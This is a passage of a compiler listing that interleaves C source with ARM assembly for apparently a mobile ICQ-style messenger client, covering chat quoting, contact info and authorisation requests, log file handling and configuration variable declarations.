F811DDE1 LDRSH R1,[SP, #+24] \ 00000168 0600A0E1 MOV R0,R6 \ 0000016C 260100EF SWI +294 7433 EDIT_SetFocus(ed_struct->ed_chatgui,ed_struct->ed_answer); \ 00000170 081094E5 LDR R1,[R4, #+8] \ 00000174 040094E5 LDR R0,[R4, #+4] \ 00000178 9B0100EF SWI +411 7434 EDIT_SetTextToFocused(ed_struct->ed_chatgui,ws); \ 0000017C 040094E5 LDR R0,[R4, #+4] \ 00000180 0610A0E1 MOV R1,R6 \ 00000184 810100EF SWI +385 7435 FreeWS(ws); \ 00000188 0600A0E1 MOV R0,R6 \ 0000018C 290100EF SWI +297 7436 GeneralFuncF1(1); \ 00000190 0100A0E3 MOV R0,#+1 \ 00000194 3B0100EF SWI +315 7437 } \ 00000198 84D08DE2 ADD SP,SP,#+132 \ 0000019C F080BDE8 POP {R4-R7,PC} ;; return 7438 \ In segment CODE, align 4, keep-with-next 7439 void Quote2(GUI *data)//цитирование без фокуса на ответ 7440 { \ Quote2: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 84D04DE2 SUB SP,SP,#+132 7441 int q_n; 7442 EDITCONTROL ec, ec_hdr; 7443 EDITCONTROL ec_ed; 7444 WSHDR *ed_ws; 7445 WSHDR *ws; 7446 7447 EDCHAT_STRUCT *ed_struct; 7448 ed_struct=MenuGetUserPointer(data); \ 00000008 E00100EF SWI +480 \ 0000000C 0040A0E1 MOV R4,R0 7449 7450 q_n=EDIT_GetFocus(ed_struct->ed_chatgui); \ 00000010 040094E5 LDR R0,[R4, #+4] \ 00000014 820100EF SWI +386 \ 00000018 0050A0E1 MOV R5,R0 7451 ExtractEditControl(ed_struct->ed_chatgui,q_n,&ec); \ 0000001C 040094E5 LDR R0,[R4, #+4] \ 00000020 2C208DE2 ADD R2,SP,#+44 \ 00000024 0510A0E1 MOV R1,R5 \ 00000028 690100EF SWI +361 7452 ExtractEditControl(ed_struct->ed_chatgui,q_n-1,&ec_hdr); \ 0000002C 040094E5 LDR R0,[R4, #+4] \ 00000030 58208DE2 ADD R2,SP,#+88 \ 00000034 011045E2 SUB R1,R5,#+1 \ 00000038 690100EF SWI +361 7453 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec_ed); \ 0000003C 081094E5 LDR R1,[R4, #+8] \ 00000040 040094E5 LDR R0,[R4, #+4] \ 00000044 0D20A0E1 MOV R2,SP \ 00000048 690100EF SWI +361 7454 7455 ed_ws=AllocWS((ec_ed.maxlen<<1) + 1); \ 0000004C F801DDE1 LDRSH R0,[SP, #+24] \ 00000050 0110A0E3 MOV R1,#+1 \ 00000054 800081E0 ADD R0,R1,R0, LSL #+1 \ 00000058 250100EF SWI +293 \ 0000005C 0050A0E1 MOV R5,R0 7456 if(wstrlen(ec_hdr.pWS)) \ 00000060 80009DE5 LDR R0,[SP, #+128] \ 00000064 230100EF SWI +291 \ 00000068 000050E3 CMP R0,#+0 \ 0000006C 0600000A BEQ ??Quote2_0 7457 { 7458 wstrcpy(ed_ws,ec_hdr.pWS); \ 00000070 80109DE5 LDR R1,[SP, #+128] \ 00000074 0500A0E1 MOV R0,R5 \ 00000078 1F0100EF SWI +287 7459 wsAppendChar(ed_ws,'\r'); \ 0000007C 0D10A0E3 MOV R1,#+13 \ 00000080 0500A0E1 MOV R0,R5 \ 00000084 1C0000EF SWI +28 \ 00000088 020000EA B ??Quote2_1 7460 } 7461 else 7462 CutWSTR(ed_ws,0); \ ??Quote2_0: \ 0000008C 0010A0E3 MOV R1,#+0 \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 260100EF SWI +294 7463 if (EDIT_IsMarkModeActive(ed_struct->ed_chatgui)) \ ??Quote2_1: \ 00000098 040094E5 LDR R0,[R4, #+4] \ 0000009C D80100EF SWI +472 \ 000000A0 000050E3 CMP R0,#+0 \ 000000A4 0300000A BEQ ??Quote2_2 7464 { 7465 EDIT_GetMarkedText(ed_struct->ed_chatgui,ed_ws); \ 000000A8 040094E5 LDR R0,[R4, #+4] \ 000000AC 0510A0E1 MOV R1,R5 \ 000000B0 D90100EF SWI +473 \ 000000B4 020000EA B ??Quote2_3 7466 } 7467 else 7468 { 7469 wstrcat(ed_ws,ec.pWS); \ ??Quote2_2: \ 000000B8 54109DE5 LDR R1,[SP, #+84] \ 000000BC 0500A0E1 MOV R0,R5 \ 000000C0 210100EF SWI +289 7470 } 7471 int ed_pos=0; \ ??Quote2_3: \ 000000C4 0000A0E3 MOV R0,#+0 \ 000000C8 FF60A0E3 MOV R6,#+255 \ 000000CC FF6C86E3 ORR R6,R6,#0xFF00 7472 do 7473 { 7474 ed_pos++; \ ??Quote2_4: \ 000000D0 017080E2 ADD R7,R0,#+1 7475 wsInsertChar(ed_ws,'>',ed_pos++); \ 000000D4 0720A0E1 MOV R2,R7 \ 000000D8 3E10A0E3 MOV R1,#+62 \ 000000DC 0500A0E1 MOV R0,R5 \ 000000E0 1D0000EF SWI +29 \ 000000E4 017087E2 ADD R7,R7,#+1 7476 wsInsertChar(ed_ws,' ',ed_pos); \ 000000E8 0720A0E1 MOV R2,R7 \ 000000EC 2010A0E3 MOV R1,#+32 \ 000000F0 0500A0E1 MOV R0,R5 \ 000000F4 1D0000EF SWI +29 7477 } 7478 while((ed_pos=wstrchr(ed_ws,ed_pos,'\r'))!=0xFFFF); \ 000000F8 0D20A0E3 MOV R2,#+13 \ 000000FC 0710A0E1 MOV R1,R7 \ 00000100 0500A0E1 MOV R0,R5 \ 00000104 DC0100EF SWI +476 \ 00000108 060050E1 CMP R0,R6 \ 0000010C EFFFFF1A BNE ??Quote2_4 7479 wsAppendChar(ed_ws,'\r'); \ 00000110 0D10A0E3 MOV R1,#+13 \ 00000114 0500A0E1 MOV R0,R5 \ 00000118 1C0000EF SWI +28 7480 wsAppendChar(ed_ws,'\r'); \ 0000011C 0D10A0E3 MOV R1,#+13 \ 00000120 0500A0E1 MOV R0,R5 \ 00000124 1C0000EF SWI +28 7481 ws=AllocWS(ec_ed.pWS->wsbody[0]+ed_ws->wsbody[0]); \ 00000128 28009DE5 LDR R0,[SP, #+40] \ 0000012C 001095E5 LDR R1,[R5, #+0] \ 00000130 000090E5 LDR R0,[R0, #+0] \ 00000134 B010D1E1 LDRH R1,[R1, #+0] \ 00000138 B000D0E1 LDRH R0,[R0, #+0] \ 0000013C 000081E0 ADD R0,R1,R0 \ 00000140 250100EF SWI +293 7482 wstrcpy(ws,ec_ed.pWS); \ 00000144 28109DE5 LDR R1,[SP, #+40] \ 00000148 0060A0E1 MOV R6,R0 \ 0000014C 1F0100EF SWI +287 7483 wstrcat(ws,ed_ws); \ 00000150 0510A0E1 MOV R1,R5 \ 00000154 0600A0E1 MOV R0,R6 \ 00000158 210100EF SWI +289 7484 FreeWS(ed_ws); \ 0000015C 0500A0E1 MOV R0,R5 \ 00000160 290100EF SWI +297 7485 CutWSTR(ws,ec_ed.maxlen); \ 00000164 F811DDE1 LDRSH R1,[SP, #+24] \ 00000168 0600A0E1 MOV R0,R6 \ 0000016C 260100EF SWI +294 7486 int ii=EDIT_GetFocus(ed_struct->ed_chatgui); \ 00000170 040094E5 LDR R0,[R4, #+4] \ 00000174 820100EF SWI +386 7487 EDIT_SetFocus(ed_struct->ed_chatgui,ed_struct->ed_answer); \ 00000178 081094E5 LDR R1,[R4, #+8] \ 0000017C 0050A0E1 MOV R5,R0 \ 00000180 040094E5 LDR R0,[R4, #+4] \ 00000184 9B0100EF SWI +411 7488 EDIT_SetTextToFocused(ed_struct->ed_chatgui,ws); \ 00000188 040094E5 LDR R0,[R4, #+4] \ 0000018C 0610A0E1 MOV R1,R6 \ 00000190 810100EF SWI +385 7489 EDIT_SetFocus(ed_struct->ed_chatgui,ii); \ 00000194 040094E5 LDR R0,[R4, #+4] \ 00000198 0510A0E1 MOV R1,R5 \ 0000019C 9B0100EF SWI +411 7490 FreeWS(ws); \ 000001A0 0600A0E1 MOV R0,R6 \ 000001A4 290100EF SWI +297 7491 GeneralFuncF1(1); \ 000001A8 0100A0E3 MOV R0,#+1 \ 000001AC 3B0100EF SWI +315 7492 } \ 000001B0 84D08DE2 ADD SP,SP,#+132 \ 000001B4 F080BDE8 POP {R4-R7,PC} ;; return 7493 7494 \ In segment CODE, align 4, keep-with-next 7495 void GetShortInfo(GUI *data) 7496 { \ GetShortInfo: \ 00000000 70402DE9 PUSH {R4-R6,LR} 7497 EDCHAT_STRUCT *ed_struct; 7498 ed_struct=MenuGetUserPointer(data); \ 00000004 E00100EF SWI +480 \ 00000008 0040A0E1 MOV R4,R0 7499 7500 TPKT *p; 7501 CLIST *t; 7502 if ((t=ed_struct->ed_contact)&&(connect_state==3)) \ 0000000C 005094E5 LDR R5,[R4, #+0] \ 00000010 000055E3 CMP R5,#+0 \ 00000014 2000000A BEQ ??GetShortInfo_0 \ 00000018 ........ LDR R0,??DataTable163 ;; S_ICONS + 744 \ 0000001C 000090E5 LDR R0,[R0, #+0] \ 00000020 030050E3 CMP R0,#+3 \ 00000024 1C00001A BNE ??GetShortInfo_0 7503 { 7504 p=malloc(sizeof(PKT)); \ 00000028 0800A0E3 MOV R0,#+8 \ 0000002C 140000EF SWI +20 \ 00000030 0060A0E1 MOV R6,R0 7505 p->pkt.uin=t->uin; \ 00000034 0C0095E5 LDR R0,[R5, #+12] 7506 p->pkt.type=T_REQINFOSHORT; 7507 p->pkt.data_len=0; 7508 AddStringToLog(t, 0x01, "Request info...", I_str,0xFFFFFFFF,1); \ 00000038 0110A0E3 MOV R1,#+1 \ 0000003C 000086E5 STR R0,[R6, #+0] \ 00000040 0B00A0E3 MOV R0,#+11 \ 00000044 B400C6E1 STRH R0,[R6, #+4] \ 00000048 0000A0E3 MOV R0,#+0 \ 0000004C B600C6E1 STRH R0,[R6, #+6] \ 00000050 ........ LDR R0,??DataTable162 ;; `?ed_chatgui); \ 00000074 040094E5 LDR R0,[R4, #+4] \ 00000078 ........ BL AddMsgToChat 7510 RecountMenu(t,1); \ 0000007C 0110A0E3 MOV R1,#+1 \ 00000080 0500A0E1 MOV R0,R5 \ 00000084 ........ BL RecountMenu 7511 SUBPROC((void *)SendAnswer,0,p); \ 00000088 ........ LDR R0,??DataTable164 ;; SendAnswer \ 0000008C 0620A0E1 MOV R2,R6 \ 00000090 0010A0E3 MOV R1,#+0 \ 00000094 710100EF SWI +369 \ 00000098 08D08DE2 ADD SP,SP,#+8 7512 } 7513 GeneralFuncF1(1); \ ??GetShortInfo_0: \ 0000009C 0100A0E3 MOV R0,#+1 \ 000000A0 3B0100EF SWI +315 7514 } \ 000000A4 7080BDE8 POP {R4-R6,PC} ;; return 7515 7516 void AskNickAndAddContact(EDCHAT_STRUCT *); \ In segment CODE, align 4, keep-with-next 7517 void AddCurContact(GUI *data) 7518 { \ AddCurContact: \ 00000000 00402DE9 PUSH {LR} 7519 EDCHAT_STRUCT *ed_struct; 7520 ed_struct=MenuGetUserPointer(data); \ 00000004 E00100EF SWI +480 7521 7522 if ((ed_struct->ed_contact)&&(connect_state==3)) AskNickAndAddContact(ed_struct); \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 0400000A BEQ ??AddCurContact_0 \ 00000014 ........ LDR R1,??DataTable163 ;; S_ICONS + 744 \ 00000018 001091E5 LDR R1,[R1, #+0] \ 0000001C 030051E3 CMP R1,#+3 \ 00000020 0000001A BNE ??AddCurContact_0 \ 00000024 ........ _BLF CreateAddContactGrpDialog,??CreateAddContactGrpDialog??rA 7523 GeneralFuncF1(1); \ ??AddCurContact_0: \ 00000028 0100A0E3 MOV R0,#+1 \ 0000002C 3B0100EF SWI +315 7524 } \ 00000030 0080BDE8 POP {PC} ;; return 7525 \ In segment CODE, align 4, keep-with-next 7526 void SendAuthReq(GUI *data) 7527 { \ SendAuthReq: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 14D04DE2 SUB SP,SP,#+20 7528 EDCHAT_STRUCT *ed_struct; 7529 ed_struct=MenuGetUserPointer(data); \ 00000008 E00100EF SWI +480 7530 7531 TPKT *p; 7532 CLIST *t; 7533 int l; 7534 const char s[]=LG_AUTHREQ; \ 0000000C BC109FE5 LDR R1,??SendAuthReq_0 ;; `?ed_contact)&&(connect_state==3)) \ 00000020 005094E5 LDR R5,[R4, #+0] \ 00000024 000055E3 CMP R5,#+0 \ 00000028 2400000A BEQ ??SendAuthReq_1 \ 0000002C ........ LDR R0,??DataTable163 ;; S_ICONS + 744 \ 00000030 000090E5 LDR R0,[R0, #+0] \ 00000034 030050E3 CMP R0,#+3 \ 00000038 2000001A BNE ??SendAuthReq_1 7536 { 7537 p=malloc(sizeof(PKT)+(l=strlen(s))+1); \ 0000003C 0D00A0E1 MOV R0,SP \ 00000040 1B0000EF SWI +27 \ 00000044 0060A0E1 MOV R6,R0 \ 00000048 090086E2 ADD R0,R6,#+9 \ 0000004C 140000EF SWI +20 \ 00000050 0070A0E1 MOV R7,R0 7538 p->pkt.uin=t->uin; \ 00000054 0C0095E5 LDR R0,[R5, #+12] 7539 p->pkt.type=T_AUTHREQ; 7540 p->pkt.data_len=l; 7541 strcpy(p->data,s); \ 00000058 0D10A0E1 MOV R1,SP \ 0000005C 000087E5 STR R0,[R7, #+0] \ 00000060 0A00A0E3 MOV R0,#+10 \ 00000064 B400C7E1 STRH R0,[R7, #+4] \ 00000068 B660C7E1 STRH R6,[R7, #+6] \ 0000006C 080087E2 ADD R0,R7,#+8 \ 00000070 1A0000EF SWI +26 7542 AddStringToLog(t,0x01,p->data,I_str,0xFFFFFFFF,1); \ 00000074 ........ LDR R3,??DataTable160 ;; `?ed_chatgui); \ 00000098 040094E5 LDR R0,[R4, #+4] \ 0000009C ........ BL AddMsgToChat 7544 RecountMenu(t,1); \ 000000A0 0110A0E3 MOV R1,#+1 \ 000000A4 0500A0E1 MOV R0,R5 \ 000000A8 ........ BL RecountMenu 7545 SUBPROC((void *)SendAnswer,0,p); \ 000000AC ........ LDR R0,??DataTable164 ;; SendAnswer \ 000000B0 0720A0E1 MOV R2,R7 \ 000000B4 0010A0E3 MOV R1,#+0 \ 000000B8 710100EF SWI +369 \ 000000BC 08D08DE2 ADD SP,SP,#+8 7546 } 7547 GeneralFuncF1(1); \ ??SendAuthReq_1: \ 000000C0 0100A0E3 MOV R0,#+1 \ 000000C4 3B0100EF SWI +315 7548 } \ 000000C8 14D08DE2 ADD SP,SP,#+20 \ 000000CC F080BDE8 POP {R4-R7,PC} ;; return \ ??SendAuthReq_0: \ 000000D0 ........ DC32 `?ed_contact)&&(connect_state==3)) \ 00000020 006094E5 LDR R6,[R4, #+0] \ 00000024 000056E3 CMP R6,#+0 \ 00000028 2400000A BEQ ??SendAuthGrant_0 \ 0000002C ........ LDR R0,??DataTable163 ;; S_ICONS + 744 \ 00000030 000090E5 LDR R0,[R0, #+0] \ 00000034 030050E3 CMP R0,#+3 \ 00000038 2000001A BNE ??SendAuthGrant_0 7560 { 7561 p=malloc(sizeof(PKT)+(l=strlen(s))+1); \ 0000003C 0D00A0E1 MOV R0,SP \ 00000040 1B0000EF SWI +27 \ 00000044 0080A0E1 MOV R8,R0 \ 00000048 090088E2 ADD R0,R8,#+9 \ 0000004C 140000EF SWI +20 \ 00000050 0070A0E1 MOV R7,R0 7562 p->pkt.uin=t->uin; \ 00000054 0C0096E5 LDR R0,[R6, #+12] 7563 p->pkt.type=T_AUTHGRANT; 7564 p->pkt.data_len=l; 7565 strcpy(p->data,s); \ 00000058 0D10A0E1 MOV R1,SP \ 0000005C 000087E5 STR R0,[R7, #+0] \ 00000060 0E00A0E3 MOV R0,#+14 \ 00000064 B400C7E1 STRH R0,[R7, #+4] \ 00000068 B680C7E1 STRH R8,[R7, #+6] \ 0000006C 080087E2 ADD R0,R7,#+8 \ 00000070 1A0000EF SWI +26 7566 AddStringToLog(t,0x01,p->data,I_str,0xFFFFFFFF,1); \ 00000074 0100A0E3 MOV R0,#+1 \ 00000078 01002DE9 PUSH {R0} \ 0000007C 103085E2 ADD R3,R5,#+16 \ 00000080 082087E2 ADD R2,R7,#+8 \ 00000084 0110A0E3 MOV R1,#+1 \ 00000088 000060E2 RSB R0,R0,#+0 \ 0000008C 01002DE9 PUSH {R0} \ 00000090 0600A0E1 MOV R0,R6 \ 00000094 ........ BL AddStringToLog 7567 AddMsgToChat(ed_struct->ed_chatgui); \ 00000098 040094E5 LDR R0,[R4, #+4] \ 0000009C ........ BL AddMsgToChat 7568 RecountMenu(t,1); \ 000000A0 0110A0E3 MOV R1,#+1 \ 000000A4 0600A0E1 MOV R0,R6 \ 000000A8 ........ BL RecountMenu 7569 SUBPROC((void *)SendAnswer,0,p); \ 000000AC ........ LDR R0,??DataTable164 ;; SendAnswer \ 000000B0 0720A0E1 MOV R2,R7 \ 000000B4 0010A0E3 MOV R1,#+0 \ 000000B8 710100EF SWI +369 \ 000000BC 08D08DE2 ADD SP,SP,#+8 7570 } 7571 GeneralFuncF1(1); \ ??SendAuthGrant_0: \ 000000C0 0100A0E3 MOV R0,#+1 \ 000000C4 3B0100EF SWI +315 7572 } \ 000000C8 FF81BDE8 POP {R0-R8,PC} ;; return 7573 \ In segment CODE, align 4, keep-with-next 7574 void OpenLogfile(GUI *data) 7575 { \ OpenLogfile: \ 00000000 30402DE9 PUSH {R4,R5,LR} 7576 EDCHAT_STRUCT *ed_struct; 7577 ed_struct=MenuGetUserPointer(data); \ 00000004 E00100EF SWI +480 \ 00000008 0040A0E1 MOV R4,R0 7578 7579 CLIST *t; 7580 WSHDR *ws=AllocWS(256); \ 0000000C 400FA0E3 MOV R0,#+256 \ 00000010 250100EF SWI +293 \ 00000014 0050A0E1 MOV R5,R0 7581 if ((t=ed_struct->ed_contact)) \ 00000018 000094E5 LDR R0,[R4, #+0] \ 0000001C 000050E3 CMP R0,#+0 \ 00000020 1A00000A BEQ ??OpenLogfile_0 7582 { 7583 #ifdef EVILFOX 7584 wsprintf(ws,"%s\\%u\\%s(%d).txt",HIST_PATH,UIN,t->name, t->uin); 7585 #else 7586 #ifdef UIN_WRITE 7587 if (HISTORY_TYPE) \ 00000024 ........ LDR R12,??DataTable166 ;; S_ICONS \ 00000028 0C2090E5 LDR R2,[R0, #+12] \ 0000002C 98319CE5 LDR R3,[R12, #+408] \ 00000030 6C109FE5 LDR R1,??OpenLogfile_1 ;; `?` \ 00000034 04002DE9 PUSH {R2} \ 00000038 EC40A0E3 MOV R4,#+236 \ 0000003C D04E84E3 ORR R4,R4,#0xD00 \ 00000040 000053E3 CMP R3,#+0 \ 00000044 0700000A BEQ ??OpenLogfile_2 7588 wsprintf(ws,"%s\\%u\\%s(%d).txt",HIST_PATH,UIN,t->name, t->uin); \ 00000048 140080E2 ADD R0,R0,#+20 \ 0000004C 01002DE9 PUSH {R0} \ 00000050 70319CE5 LDR R3,[R12, #+368] \ 00000054 0C2084E0 ADD R2,R4,R12 \ 00000058 0500A0E1 MOV R0,R5 \ 0000005C 240100EF SWI +292 \ 00000060 08D08DE2 ADD SP,SP,#+8 \ 00000064 050000EA B ??OpenLogfile_3 7589 else 7590 wsprintf(ws,"%s\\%s(%d).txt",HIST_PATH,t->name, t->uin); \ ??OpenLogfile_2: \ 00000068 143080E2 ADD R3,R0,#+20 \ 0000006C 0C2084E0 ADD R2,R4,R12 \ 00000070 141081E2 ADD R1,R1,#+20 \ 00000074 0500A0E1 MOV R0,R5 \ 00000078 240100EF SWI +292 \ 0000007C 04D08DE2 ADD SP,SP,#+4 7591 #else 7592 if (HISTORY_TYPE) 7593 wsprintf(ws,"%s\\%u\\%u.txt",HIST_PATH,UIN, t->uin); 7594 else 7595 wsprintf(ws,"%s\\%u.txt",HIST_PATH, t->uin); 7596 #endif 7597 #endif 7598 ExecuteFile(ws,NULL,NULL); \ ??OpenLogfile_3: \ 00000080 0020A0E3 MOV R2,#+0 \ 00000084 0010A0E3 MOV R1,#+0 \ 00000088 0500A0E1 MOV R0,R5 \ 0000008C 940000EF SWI +148 7599 } 7600 FreeWS(ws); \ ??OpenLogfile_0: \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 290100EF SWI +297 7601 GeneralFuncF1(1); \ 00000098 0100A0E3 MOV R0,#+1 \ 0000009C 3B0100EF SWI +315 7602 } \ 000000A0 3080BDE8 POP {R4,R5,PC} ;; return \ ??OpenLogfile_1: \ 000000A4 ........ DC32 `?` 7603 \ In segment CODE, align 4, keep-with-next 7604 void ClearLog(GUI *data/*,void *dummy*/) 7605 { \ ClearLog: \ 00000000 70402DE9 PUSH {R4-R6,LR} \ 00000004 2CD04DE2 SUB SP,SP,#+44 7606 EDITCONTROL ec; 7607 EDCHAT_STRUCT *ed_struct; 7608 WSHDR *ws; 7609 CLIST *t; 7610 7611 ed_struct=MenuGetUserPointer(data); \ 00000008 E00100EF SWI +480 \ 0000000C 0040A0E1 MOV R4,R0 7612 7613 ExtractEditControl(ed_struct->ed_chatgui,ed_struct->ed_answer,&ec); \ 00000010 081094E5 LDR R1,[R4, #+8] \ 00000014 040094E5 LDR R0,[R4, #+4] \ 00000018 0D20A0E1 MOV R2,SP \ 0000001C 690100EF SWI +361 7614 if(wstrlen(ec.pWS)>0) \ 00000020 28009DE5 LDR R0,[SP, #+40] \ 00000024 230100EF SWI +291 \ 00000028 010050E3 CMP R0,#+1 \ 0000002C 0D0000BA BLT ??ClearLog_0 7615 { 7616 ws=AllocWS(1); \ 00000030 0100A0E3 MOV R0,#+1 \ 00000034 250100EF SWI +293 \ 00000038 0050A0E1 MOV R5,R0 7617 CutWSTR(ws,0); \ 0000003C 0010A0E3 MOV R1,#+0 \ 00000040 260100EF SWI +294 7618 7619 EDIT_SetFocus(ed_struct->ed_chatgui,ed_struct->ed_answer); \ 00000044 081094E5 LDR R1,[R4, #+8] \ 00000048 040094E5 LDR R0,[R4, #+4] \ 0000004C 9B0100EF SWI +411 7620 EDIT_SetTextToFocused(ed_struct->ed_chatgui,ws); \ 00000050 040094E5 LDR R0,[R4, #+4] \ 00000054 0510A0E1 MOV R1,R5 \ 00000058 810100EF SWI +385 7621 7622 FreeWS(ws); \ 0000005C 0500A0E1 MOV R0,R5 \ 00000060 290100EF SWI +297 7623 GeneralFuncF1(1); \ 00000064 1D0000EA B ??ClearLog_1 7624 } 7625 else 7626 { 7627 7628 if ((t=ed_struct->ed_contact)) \ ??ClearLog_0: \ 00000068 005094E5 LDR R5,[R4, #+0] \ 0000006C 000055E3 CMP R5,#+0 \ 00000070 1C00000A BEQ ??ClearLog_2 7629 { 7630 if (t->log) \ 00000074 8C0095E5 LDR R0,[R5, #+140] \ 00000078 0060A0E3 MOV R6,#+0 \ 0000007C 000050E3 CMP R0,#+0 \ 00000080 1200000A BEQ ??ClearLog_3 7631 { 7632 FreeLOGQ(&t->log); \ 00000084 8C0085E2 ADD R0,R5,#+140 \ 00000088 ........ BL FreeLOGQ 7633 t->msg_count=0; \ 0000008C 9C6085E5 STR R6,[R5, #+156] 7634 if (ed_struct->ed_answer>=2&&ed_struct->ed_chatgui) \ 00000090 080094E5 LDR R0,[R4, #+8] \ 00000094 020050E3 CMP R0,#+2 \ 00000098 0C0000BA BLT ??ClearLog_3 \ 0000009C 040094E5 LDR R0,[R4, #+4] \ 000000A0 000050E3 CMP R0,#+0 \ 000000A4 0900000A BEQ ??ClearLog_3 \ 000000A8 050000EA B ??ClearLog_4 7635 { 7636 while(ed_struct->ed_answer!=2) 7637 { 7638 EDIT_RemoveEditControl(ed_struct->ed_chatgui,1); \ ??ClearLog_5: \ 000000AC 040094E5 LDR R0,[R4, #+4] \ 000000B0 0110A0E3 MOV R1,#+1 \ 000000B4 D10100EF SWI +465 7639 ed_struct->ed_answer--; \ 000000B8 080094E5 LDR R0,[R4, #+8] \ 000000BC 010040E2 SUB R0,R0,#+1 \ 000000C0 080084E5 STR R0,[R4, #+8] 7640 } \ ??ClearLog_4: \ 000000C4 080094E5 LDR R0,[R4, #+8] \ 000000C8 020050E3 CMP R0,#+2 \ 000000CC F6FFFF1A BNE ??ClearLog_5 7641 } 7642 } 7643 t->isactive=0; //by BoBa 18.06.07 \ ??ClearLog_3: \ 000000D0 986085E5 STR R6,[R5, #+152] 7644 RecountMenu(t,1); \ 000000D4 0110A0E3 MOV R1,#+1 \ 000000D8 0500A0E1 MOV R0,R5 \ 000000DC ........ BL RecountMenu 7645 GeneralFuncF1(1); \ ??ClearLog_1: \ 000000E0 0100A0E3 MOV R0,#+1 \ 000000E4 3B0100EF SWI +315 7646 } 7647 } 7648 } \ ??ClearLog_2: \ 000000E8 2CD08DE2 ADD SP,SP,#+44 ;; stack cleaning \ 000000EC 7080BDE8 POP {R4-R6,PC} ;; return 7649 \ In segment CODE, align 4, keep-with-next 7650 void ecmenu_ghook(void *data, int cmd) 7651 { \ ecmenu_ghook: \ 00000000 00402DE9 PUSH {LR} 7652 if (cmd==0x0A) \ 00000004 0A0051E3 CMP R1,#+10 \ 00000008 0080BD18 POPNE {PC} 7653 { 7654 DisableIDLETMR(); \ 0000000C 7F0100EF SWI +383 7655 } 7656 } \ 00000010 0080BDE8 POP {PC} ;; return 7657 \ In segment DATA_C, align 4, align-sorted 7658 static const MENUITEM_DESC ecmenu_ITEMS[EC_MNU_MAX]= \ ecmenu_ITEMS: \ 00000000 00000000.... DC32 0H, `?` \ MAINCSM: \ 00000074 DS8 72 \ 000000BC REQUIRE `?` \ gipc: \ 000000BC DS8 12 \ 000000C8 REQUIRE `?` \ tmr_gipc: \ 000000C8 DS8 12 \ 000000D4 REQUIRE `?` \ color_choose: \ 000000D4 DS8 4 \ 000000D8 REQUIRE `?` \ Vibra_cc: \ 000000D8 DS8 4 \ 000000DC REQUIRE `?` \ Ping_X: \ 000000DC DS8 4 \ 000000E0 REQUIRE `?` \ Ping_Y: \ 000000E0 DS8 4 \ 000000E4 REQUIRE `?` \ unread_X: \ 000000E4 DS8 4 \ 000000E8 REQUIRE `?` \ unread_Y: \ 000000E8 DS8 4 \ 000000EC REQUIRE `?` \ show_xstatus: \ 000000EC DS8 4 \ 000000F0 REQUIRE `?` \ ShowStatusIcon: \ 000000F0 DS8 4 \ 000000F4 REQUIRE `?` \ isLogStatusChange: \ 000000F4 DS8 4 \ 000000F8 REQUIRE `?` \ SORT_CLIST: \ 000000F8 DS8 4 \ 000000FC REQUIRE `?` \ isVolUpButton: \ 000000FC DS8 4 \ 00000100 REQUIRE `?` \ isVolDownButton: \ 00000100 DS8 4 \ 00000104 REQUIRE `?` \ IsShowLoopback: \ 00000104 DS8 4 \ 00000108 REQUIRE `?` \ fonto: \ 00000108 DS8 4 \ 0000010C REQUIRE `?` \ spaco1: \ 0000010C DS8 4 \ 00000110 REQUIRE `?` \ spaco2: \ 00000110 DS8 4 \ 00000114 REQUIRE `?` \ AUTO_ENGADE: \ 00000114 DS8 4 \ 00000118 REQUIRE `?` \ Is_Unread_On: \ 00000118 DS8 4 \ 0000011C REQUIRE `?` \ Pause_Time: \ 0000011C DS8 4 \ 00000120 REQUIRE `?` \ auto_x: \ 00000120 DS8 4 \ 00000124 REQUIRE `?` \ auto_y: \ 00000124 DS8 4 \ 00000128 REQUIRE `?` \ showAwayIdle: \ 00000128 DS8 4 \ 0000012C REQUIRE `?` \ onlineTime_x: \ 0000012C DS8 4 \ 00000130 REQUIRE `?` \ onlineTime_y: \ 00000130 DS8 4 \ 00000134 REQUIRE `?` \ Auto_Status: \ 00000134 DS8 4 \ 00000138 REQUIRE `?` \ time_zone: \ 00000138 DS8 4 \ 0000013C REQUIRE `?` \ TIME_OR_MSG: \ 0000013C DS8 4 \ 00000140 REQUIRE `?` \ ping_time_config: \ 00000140 DS8 4 \ 00000144 REQUIRE `?` \ msg_d_x: \ 00000144 DS8 4 \ 00000148 REQUIRE `?` \ msg_d_y: \ 00000148 DS8 4 \ 0000014C REQUIRE `?` \ main_lenght: \ 0000014C DS8 4 \ 00000150 REQUIRE `?` \ use_cutter: \ 00000150 DS8 4 \ 00000154 REQUIRE `?` \ Reset_timer: \ 00000154 DS8 4 \ 00000158 REQUIRE `?` \ NumStatusToIconBar: \ 00000158 DS8 4 \ 0000015C REQUIRE `?` \ NumXStatusToIconBar: \ 0000015C DS8 4 \ 00000160 REQUIRE `?` \ LongRightAction: \ 00000160 DS8 4 \ 00000164 REQUIRE `?` \ LongLeftAction: \ 00000164 DS8 4 \ 00000168 REQUIRE `?` \ screenSaverTime: \ 00000168 DS8 4 \ 0000016C REQUIRE `?` \ isScreenSaverEna: \ 0000016C DS8 4 \ 00000170 REQUIRE `?` \ UIN: \ 00000170 DS8 4 \ 00000174 REQUIRE `?` \ VIBR_ON_CONNECT: \ 00000174 DS8 4 \ 00000178 REQUIRE `?` \ SHOW_ACTIVE: \ 00000178 DS8 4 \ 0000017C REQUIRE `?` \ VIBR_TYPE: \ 0000017C DS8 4 \ 00000180 REQUIRE `?` \ DEVELOP_IF: \ 00000180 DS8 4 \ 00000184 REQUIRE `?` \ LOG_ALL: \ 00000184 DS8 4 \ 00000188 REQUIRE `?` \ LOG_STATCH: \ 00000188 DS8 4 \ 0000018C REQUIRE `?` \ FIRST_LETTER: \ 0000018C DS8 4 \ 00000190 REQUIRE `?` \ show_send_info: \ 00000190 DS8 4 \ 00000194 REQUIRE `?` \ ActionResh: \ 00000194 DS8 4 \ 00000198 REQUIRE `?` \ HISTORY_TYPE: \ 00000198 DS8 4 \ 0000019C REQUIRE `?` \ vibraPower: \ 0000019C DS8 4 \ 000001A0 REQUIRE `?` \ IDLEICON_X: \ 000001A0 DS8 4 \ 000001A4 REQUIRE `?` \ IDLEICON_Y: \ 000001A4 DS8 4 \ 000001A8 REQUIRE `?` \ IDLEICON_XX: \ 000001A8 DS8 4 